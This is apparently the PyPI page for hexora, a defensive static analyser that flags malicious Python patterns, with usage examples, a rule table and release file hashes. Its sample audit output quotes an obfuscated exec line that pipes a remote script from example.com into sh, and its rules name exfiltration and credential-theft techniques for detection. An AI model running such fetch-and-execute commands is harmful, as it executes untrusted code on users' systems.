Static analysis of malicous Python scripts.
Project description
hexora
Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
It can be used to:
- Audit project dependencies to catch potential supply-chain attacks
- Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
- Analyze IoC files from past security incidents
- Audit new packages uploaded to PyPi.
Examples
For output examples, please see docs/examples.md file.
Installation
Using Python
Requires Python 3.9+.
pip install hexora
Using uv:
uv tool install hexora
Usage
hexora --help
Audit single file
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
Audit directory
hexora audit --output-format terminal resources/test/
Audit packages from virtual environment
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
Where python3.11 is the version of the Python in virtual environment.
Tips:
- Use
--excludeto suppress certain rule codes (e.g., noisy imports) for a given run - Use
--min-confidenceto focus on high-confidence findings only.
Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.
Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are very confident. For example, code and shell execution can have medium, high, and very high confidence. This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.
For example, this code will have a high confidence:
globals()["__builtins__"].eval("print(123)")
Usage in Python
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
Testing Against Malicious Dataset
When developing new rules, you can use existing malicious datasets such as malicious-software-packages-dataset.
After cloning, point the benchmarking tool to the dataset directory:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
Available rules
New rules are added regularly.
Right now, the following rules are available:
| Code | Name | Description |
|---|---|---|
| HX1000 | AppEnumeration | Suspicious application enumeration. |
| HX1010 | BrowserEnumeration | Suspicious browser enumeration (apps, cookies, history, etc.). |
| HX1020 | PathEnumeration | Suspicious path enumeration. |
| HX1030 | OSFingerprint | Suspicious OS fingerprinting. |
| HX2000 | ClipboardRead | Reading from the clipboard. |
| HX2010 | EnvAccess | Access to a sensitive environment variable. |
| HX3000 | CodeExec | Possible code execution. |
| HX3010 | ShellExec | Execution of a shell command. |
| HX3040 | DLLInjection | Possible DLL injection. |
| HX3050 | DangerousExec | Execution of potentially dangerous command inside a shell command. |
| HX3060 | SuspiciousCall | Suspicious function call. |
| HX4000 | ObfuscatedShellExec | Execution of an obfuscated shell command. |
| HX4010 | ObfuscatedCodeExec | Execution of obfuscated code. |
| HX5000 | DunderImport | Suspicious use of __import__. |
| HX5010 | SuspiciousImport | Suspicious import. |
| HX5020 | CtypesImport | Suspicious ctypes import. |
| HX5030 | PickleImport | Suspicious pickle import. |
| HX5040 | StructImport | Suspicious struct import. |
| HX5050 | SocketImport | Suspicious socket import. |
| HX5060 | MarshalImport | Suspicious marshal import. |
| HX6000 | Base64String | Long Base64-encoded string detected; possible code obfuscation. |
| HX6010 | HexedLiterals | List of hex-encoded literals detected; possible payload. |
| HX6020 | HexedString | Long hex-encoded string detected; possible payload. |
| HX6030 | IntLiterals | Large list of integer literals detected; possible code obfuscation. |
| HX6040 | CVEInLiteral | Literal contains a CVE identifier. |
| HX6050 | SuspiciousLiteral | Suspicious literal detected; possible data enumeration. |
| HX6060 | PathTraversal | Suspicious path traversal. |
| HX6070 | BrowserExtension | Enumeration of sensitive browser extensions. |
| HX6080 | WebHook | Suspicious webhook detected. Possible data exfiltration. |
| HX7000 | SuspiciousFunctionName | Suspicious function name. |
| HX7010 | SuspiciousParameterName | Suspicious parameter name. |
| HX7020 | SuspiciousVariable | Suspicious variable name. |
| HX9000 | DataExfiltration | Potential data exfiltration. |
| HX8000 | BinaryDownload | Suspicious binary download. |
| HX8010 | BuiltinsVariable | Suspicious builtin variable usage. |
| HX8020 | SuspiciousComment | Suspicious comment. |
| HX8030 | SuspiciousWrite | Suspicious write to the filesystem. |
Credits
For parsing, we use AST parser from ruff library.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distributions
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file hexora-0.2.3.tar.gz.
File metadata
- Download URL: hexora-0.2.3.tar.gz
- Upload date:
- Size: 5.7 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
8d6004c2e3655b8b680140dba545583c25b9d83e562ca5ba009ffc346003aa0d
|
|
| MD5 |
651d6841e4fa17ceeca4efa7a081e085
|
|
| BLAKE2b-256 |
0820f56f576859f44c45d66a0ff32f77ac631ecc623310d2132b0eda2939e61a
|
File details
Details for the file hexora-0.2.3-cp314-cp314-win_amd64.whl.
File metadata
- Download URL: hexora-0.2.3-cp314-cp314-win_amd64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.14, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
230c25a71ff98616eafa58cb43cd8189049198dc6e33f31be7243a155db8bd20
|
|
| MD5 |
8171b5f365786010cb1662caf0cbed58
|
|
| BLAKE2b-256 |
bf03020bb1c2254bd8000800c0730322421462f1326eba0a268f1abb535835e1
|
File details
Details for the file hexora-0.2.3-cp314-cp314-musllinux_1_2_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp314-cp314-musllinux_1_2_x86_64.whl
- Upload date:
- Size: 2.9 MB
- Tags: CPython 3.14, musllinux: musl 1.2+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
9e581ad74165018c1220b9042534a15c243e0996678d56d5ff58c4a391b7c0b8
|
|
| MD5 |
d194454b347912cef8717da2e206b67d
|
|
| BLAKE2b-256 |
d4815f8c759549d8450176a0802be95752b7ff12f4d0839fce3c5db102cc9a29
|
File details
Details for the file hexora-0.2.3-cp314-cp314-manylinux_2_28_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp314-cp314-manylinux_2_28_x86_64.whl
- Upload date:
- Size: 2.8 MB
- Tags: CPython 3.14, manylinux: glibc 2.28+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
76dd18f22201edae89c448d85170f148fbd5ab3a0fd9d346a6bf2fa6844fca9e
|
|
| MD5 |
fa350fe0656b6db078ec7ee587942583
|
|
| BLAKE2b-256 |
a519d77fffc8cf2c7820ebe49f49d4807cea9d1cc595771aced99396386ab9a7
|
File details
Details for the file hexora-0.2.3-cp314-cp314-manylinux_2_28_aarch64.whl.
File metadata
- Download URL: hexora-0.2.3-cp314-cp314-manylinux_2_28_aarch64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.14, manylinux: glibc 2.28+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
73c7375d3ed9cf5532670d5ff7a2a4557e080214c6e23115a8c7c509be158f92
|
|
| MD5 |
0b5437f8b4d3119d1cff621f1fb35bb7
|
|
| BLAKE2b-256 |
6584fc9368a342fee528979e5c3e12f2f8bbf0e941117a0aca0469734adc7299
|
File details
Details for the file hexora-0.2.3-cp314-cp314-macosx_11_0_arm64.whl.
File metadata
- Download URL: hexora-0.2.3-cp314-cp314-macosx_11_0_arm64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.14, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
540a58387f16b56f14613a88441d435e352c8f9565c1fac52cd15a23555edab7
|
|
| MD5 |
b4a75da610be867bb1ada5075df23a20
|
|
| BLAKE2b-256 |
af74c079467e2ca1f092e1c0fb9ab039b2dd40dd26e45f0d66d450016de2993a
|
File details
Details for the file hexora-0.2.3-cp314-cp314-macosx_10_15_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp314-cp314-macosx_10_15_x86_64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.14, macOS 10.15+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
89607d9c029120fdb67c84ad176d262c3eed57b2d4a065f7ffbd502a40aa46a3
|
|
| MD5 |
18070e0261091144739e5913cf83623c
|
|
| BLAKE2b-256 |
3a8bb60a6e5c3af3649b50a60d49a09b14cd91ff032abadc22c212fe3b43a0e0
|
File details
Details for the file hexora-0.2.3-cp313-cp313-win_amd64.whl.
File metadata
- Download URL: hexora-0.2.3-cp313-cp313-win_amd64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.13, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
a615c743ebe74bf00550b181cd22a5ac0c6f7c032127610bedd872d10c232b3d
|
|
| MD5 |
06d3ced9a550bc8b4150b9fb83ff2c9f
|
|
| BLAKE2b-256 |
493aa70716800a098a40f3dc4daa0a49e64148217c3866e2303509e28bf8d2d0
|
File details
Details for the file hexora-0.2.3-cp313-cp313-musllinux_1_2_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp313-cp313-musllinux_1_2_x86_64.whl
- Upload date:
- Size: 2.9 MB
- Tags: CPython 3.13, musllinux: musl 1.2+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
7fe7d17089934106d1be739e028e8295dc43a0aba1a8aac7e8c746bee2bf8374
|
|
| MD5 |
2353ab027383699a16ca2785a7ec8524
|
|
| BLAKE2b-256 |
e253fb493c0d9d7a1b71f20fbee16d3cc950f3dd90d36995e3ef6e8db45d95a7
|
File details
Details for the file hexora-0.2.3-cp313-cp313-manylinux_2_28_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp313-cp313-manylinux_2_28_x86_64.whl
- Upload date:
- Size: 2.8 MB
- Tags: CPython 3.13, manylinux: glibc 2.28+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
671926572c97363552de4061b7712e7b09283178ea5d4587947db59579665463
|
|
| MD5 |
86693eb36302323c5b75fccecaf06b29
|
|
| BLAKE2b-256 |
5e2f0338d9d4a9a913bef5e4e215336d2713569e0f95ef030357ad5ed4fd6ad3
|
File details
Details for the file hexora-0.2.3-cp313-cp313-manylinux_2_28_aarch64.whl.
File metadata
- Download URL: hexora-0.2.3-cp313-cp313-manylinux_2_28_aarch64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.13, manylinux: glibc 2.28+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
c6d8109903c3f17770dd333ffc4e1fd5eb69cc44557a83f8673e1cb54fdcbfb7
|
|
| MD5 |
39f5945fb8f139978e61011ddf33cf0a
|
|
| BLAKE2b-256 |
ed4a5edf441e70bcd1f18ed1c9d7426cf39273f54053105e83847f9e223e81d2
|
File details
Details for the file hexora-0.2.3-cp313-cp313-macosx_11_0_arm64.whl.
File metadata
- Download URL: hexora-0.2.3-cp313-cp313-macosx_11_0_arm64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.13, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
301ff0b30c6042e6f480e4f61440231edc3380526869abc344160ac9574e1ba2
|
|
| MD5 |
2a9eeef5c2e4bea9a2a49c87c7472bac
|
|
| BLAKE2b-256 |
ca322144623075b6aa597ec14c57a49fd6bf10186741fa5c95029893087896d6
|
File details
Details for the file hexora-0.2.3-cp313-cp313-macosx_10_13_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp313-cp313-macosx_10_13_x86_64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.13, macOS 10.13+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
9affd1404329143f016b7565eed0861f903abbd530df5235528fbc0c35996035
|
|
| MD5 |
6994ff8211ff36ea4c781d42b04e6412
|
|
| BLAKE2b-256 |
a068f460954695abca57454b2bf05869f05a4977dc8470d3e6bd7aae06e91479
|
File details
Details for the file hexora-0.2.3-cp312-cp312-win_amd64.whl.
File metadata
- Download URL: hexora-0.2.3-cp312-cp312-win_amd64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.12, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
70870520195b5646054aa4f41d4c4b3f441836193f024cda480ad4d5ce9fa255
|
|
| MD5 |
b9c6199570df9cae54eb6aede29842fb
|
|
| BLAKE2b-256 |
953b04d1146d8a2d21b9f763b2bb4367d6f0ad3f320f6f5ec78bc6304ead3cab
|
File details
Details for the file hexora-0.2.3-cp312-cp312-musllinux_1_2_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp312-cp312-musllinux_1_2_x86_64.whl
- Upload date:
- Size: 2.9 MB
- Tags: CPython 3.12, musllinux: musl 1.2+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
84992b9fa3c77fc68a8288de11be7d9e30d84fea93421fcb50c90a0fed7b89b9
|
|
| MD5 |
750c959395ba0df4c25434de98b3b764
|
|
| BLAKE2b-256 |
31b0f59c62b87c0f894a50ba58fdd2d247a7308edc4b71d4629ad1b793a9ebb0
|
File details
Details for the file hexora-0.2.3-cp312-cp312-manylinux_2_28_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp312-cp312-manylinux_2_28_x86_64.whl
- Upload date:
- Size: 2.8 MB
- Tags: CPython 3.12, manylinux: glibc 2.28+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
e0a64a1f731ec14d84517a2ba3a4f538e44c782bf7c0cc00a7740839c4e06855
|
|
| MD5 |
0dadff0cf04d3f3df70af2d039db0a43
|
|
| BLAKE2b-256 |
469f2fc621f1bf8502138281ad7a39f19c450f7b1a85235be6f2868ecf2a59c6
|
File details
Details for the file hexora-0.2.3-cp312-cp312-manylinux_2_28_aarch64.whl.
File metadata
- Download URL: hexora-0.2.3-cp312-cp312-manylinux_2_28_aarch64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.12, manylinux: glibc 2.28+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
546c26e226c60461572b0be7e3390bf22794d5319380c053e72f9f7a8766353f
|
|
| MD5 |
1daabbca61bd9dfd44e862f3ac021f78
|
|
| BLAKE2b-256 |
84fea5ba99fc70bc683ae1c99d5c41abd5d8684dac0ce7d8fe5225b9629ffe6c
|
File details
Details for the file hexora-0.2.3-cp312-cp312-macosx_11_0_arm64.whl.
File metadata
- Download URL: hexora-0.2.3-cp312-cp312-macosx_11_0_arm64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.12, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
2b6e1babaf459018160464e59521d7252eb80f65264a51750e8820bf1e08fd1b
|
|
| MD5 |
9f818490d27f392ea98b49bdda5544d2
|
|
| BLAKE2b-256 |
92a2228012d263bcb7464dfc3f253c2bb0ddbe7c1987f23223e5a29db9e653f9
|
File details
Details for the file hexora-0.2.3-cp312-cp312-macosx_10_13_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp312-cp312-macosx_10_13_x86_64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.12, macOS 10.13+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
ec62d91de52439c6811467cddc081e7c978583fd1c075488fdf381813aa0b664
|
|
| MD5 |
bd414a4e04a974e76b7f0f1b71ef480f
|
|
| BLAKE2b-256 |
bfe0bb984bf580c683e227fb7e13d3536b97629ca2163805d2270bec126f5e4c
|
File details
Details for the file hexora-0.2.3-cp311-cp311-win_amd64.whl.
File metadata
- Download URL: hexora-0.2.3-cp311-cp311-win_amd64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.11, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
ba8240612325f5a9a39ef0f12218aa9c76d98c365784a00127f62c72a3c4b6e7
|
|
| MD5 |
81e68cee8bbd98faf826ad2082236a67
|
|
| BLAKE2b-256 |
d0bd3eac05f01164a55ec14dda038270bbc8abf52ea48bde92ef432da6b3906c
|
File details
Details for the file hexora-0.2.3-cp311-cp311-musllinux_1_2_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp311-cp311-musllinux_1_2_x86_64.whl
- Upload date:
- Size: 2.9 MB
- Tags: CPython 3.11, musllinux: musl 1.2+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
c094dbbc823d31d8158d38f14750c736853ba8ef8cca833b702b9e70f7a87623
|
|
| MD5 |
a7b3f98f6071ca66a2cac2717827ebf3
|
|
| BLAKE2b-256 |
9e5a4e8eed5381ee9240d6aae6a0cd9def6a974add255ad271dbb5dd73042ebb
|
File details
Details for the file hexora-0.2.3-cp311-cp311-manylinux_2_28_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp311-cp311-manylinux_2_28_x86_64.whl
- Upload date:
- Size: 2.8 MB
- Tags: CPython 3.11, manylinux: glibc 2.28+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
63b4ab802ed4081f959cb310b10633768a2db1aae01aff9da5a97e27ec9fe98f
|
|
| MD5 |
ffa65bbf07f723c12995d0c26a11dedf
|
|
| BLAKE2b-256 |
8ff33c10c0d1fde2c766b10e54c1f9a36dd70a7db1a37176c6bff300149be257
|
File details
Details for the file hexora-0.2.3-cp311-cp311-manylinux_2_28_aarch64.whl.
File metadata
- Download URL: hexora-0.2.3-cp311-cp311-manylinux_2_28_aarch64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.11, manylinux: glibc 2.28+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
4fdc878d292778008694675dca0414f2faf3980453cf0b56e43ed7bb7ee51911
|
|
| MD5 |
317733c89f970844541d380bbcaba095
|
|
| BLAKE2b-256 |
b5f9bc193ae15a478ed979b4abfe7c04d6137978e49be12896a766f7452dc758
|
File details
Details for the file hexora-0.2.3-cp311-cp311-macosx_11_0_arm64.whl.
File metadata
- Download URL: hexora-0.2.3-cp311-cp311-macosx_11_0_arm64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.11, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
aa816581a6ba41950ed65885a2f603f42c5ed6bc1d3a323651b9fa85d1f8acfa
|
|
| MD5 |
27325aff9f58d6b151ebf6e025260d09
|
|
| BLAKE2b-256 |
7b20b01be30ba61d7f268fd71ad731392300f61aefb14a79920cef49288ad004
|
File details
Details for the file hexora-0.2.3-cp311-cp311-macosx_10_12_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp311-cp311-macosx_10_12_x86_64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.11, macOS 10.12+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
9ba88ddea7e7a004a6785e101549b0083d259a491259a9024acc09c205f00af0
|
|
| MD5 |
9cf6a523ee5909612b473df474f2a16e
|
|
| BLAKE2b-256 |
642368c4a4fbbd4f5d25d47498c8c98d2e64a6a9ac3756faef1dc482fd31bde3
|
File details
Details for the file hexora-0.2.3-cp310-cp310-win_amd64.whl.
File metadata
- Download URL: hexora-0.2.3-cp310-cp310-win_amd64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.10, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
6ff3fc0adace09856643e2b3d943b30584f876f3cda528d5ff7c6178a7ab8937
|
|
| MD5 |
2827a7cd56e0158cd2dec518a0135ed5
|
|
| BLAKE2b-256 |
8a11c9e2ff7738db5ac8cfce40d8f0e5d1ef2665f00d1d684d2a3def2ee98dc5
|
File details
Details for the file hexora-0.2.3-cp310-cp310-musllinux_1_2_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp310-cp310-musllinux_1_2_x86_64.whl
- Upload date:
- Size: 2.9 MB
- Tags: CPython 3.10, musllinux: musl 1.2+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f883222e0e2b308f91cb7a5a80fd21e35f78b9105d5af4706224ba105a4407f1
|
|
| MD5 |
657c988d53186f7c178db1264dfae101
|
|
| BLAKE2b-256 |
e86a5fddef387054040503c93050d949486562c207d6c13e49f04eb220d0a8aa
|
File details
Details for the file hexora-0.2.3-cp310-cp310-manylinux_2_28_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp310-cp310-manylinux_2_28_x86_64.whl
- Upload date:
- Size: 2.8 MB
- Tags: CPython 3.10, manylinux: glibc 2.28+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
1a2513a8cc3fdf59b1d3c0e8993258c62f9dcd27be1511509e4ba7aac39e1c4d
|
|
| MD5 |
73cbd3567e9e1b13a771346ea6d904ff
|
|
| BLAKE2b-256 |
4250f725487e7fa072ab7ae236601a0251d7e6cda48b5a81a71cfe9c6ef4edfc
|
File details
Details for the file hexora-0.2.3-cp310-cp310-manylinux_2_28_aarch64.whl.
File metadata
- Download URL: hexora-0.2.3-cp310-cp310-manylinux_2_28_aarch64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.10, manylinux: glibc 2.28+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
00a8077b733ecb7f19e38f75bb099f8872e0c22046819c789012caa816e50875
|
|
| MD5 |
2507b484be56b90758928dbe3645987f
|
|
| BLAKE2b-256 |
4b2c6615e51894b4ca1dc4d0d6e543275ed7ba06fb56d7f39b8ce4691ff807d1
|
File details
Details for the file hexora-0.2.3-cp310-cp310-macosx_11_0_arm64.whl.
File metadata
- Download URL: hexora-0.2.3-cp310-cp310-macosx_11_0_arm64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.10, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f7ddd2b153dd5bb82d6b406416e750d26380ca7b2d532a12504b63eed632c35c
|
|
| MD5 |
0347efcfa2f68e83568b810e21fa691f
|
|
| BLAKE2b-256 |
b6a17fca4a8beba4c2a8bb2f070cc720179af1905c5c13163c6cff0c28d0f1ac
|
File details
Details for the file hexora-0.2.3-cp310-cp310-macosx_10_12_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp310-cp310-macosx_10_12_x86_64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.10, macOS 10.12+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
3496596ce4992f2bdfb8f15d2c3646bb4d3b0fdcd9515fc249cb41edf9b4f466
|
|
| MD5 |
57a74eda982046cc1114a3723979844c
|
|
| BLAKE2b-256 |
a034f3f04494b9a5899ed9bc6bfd821c34a80beb879b91d9bb6461b617dbb26a
|
File details
Details for the file hexora-0.2.3-cp39-cp39-win_amd64.whl.
File metadata
- Download URL: hexora-0.2.3-cp39-cp39-win_amd64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.9, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
94197837a3cb287192132f8b5f4597fa15c60e79d9406ace7f5f078574847c09
|
|
| MD5 |
eeb97a2c8863ba898b4f5886252381f7
|
|
| BLAKE2b-256 |
7b1531e3c34a33d14d3ce5a87cc8d203a5da22995bb20b5feb4a68faca8d2c25
|
File details
Details for the file hexora-0.2.3-cp39-cp39-musllinux_1_2_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp39-cp39-musllinux_1_2_x86_64.whl
- Upload date:
- Size: 2.9 MB
- Tags: CPython 3.9, musllinux: musl 1.2+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b1a6789c70ccb6ee4452fbc37231a78d2381956c52b09851e38e0fc6bef8459f
|
|
| MD5 |
5a5bfbd62603662e9cc346f4190ea235
|
|
| BLAKE2b-256 |
3a5b3b0863af78ef6b6b99e81036c9fc2f60563b7940a48d6fa9ffd4f155c88e
|
File details
Details for the file hexora-0.2.3-cp39-cp39-manylinux_2_28_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp39-cp39-manylinux_2_28_x86_64.whl
- Upload date:
- Size: 2.8 MB
- Tags: CPython 3.9, manylinux: glibc 2.28+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
28304fbd7d5bd8e52acfc939345ee249d3ded43b548b21c2fe58340f327b6c26
|
|
| MD5 |
b3fc8a524d4ecab15822eb148e36f5be
|
|
| BLAKE2b-256 |
67ae2e3cf3581c183421c19a0887aaf1eecc651f2ee8be73c99aa2507b970dfa
|
File details
Details for the file hexora-0.2.3-cp39-cp39-manylinux_2_28_aarch64.whl.
File metadata
- Download URL: hexora-0.2.3-cp39-cp39-manylinux_2_28_aarch64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.9, manylinux: glibc 2.28+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
fc35e2ed430f5de0fa69c8f1d8492c7e9f2183bfcf85538a61cff971053eff38
|
|
| MD5 |
64702591a4d29c5bd4390f8c97a42050
|
|
| BLAKE2b-256 |
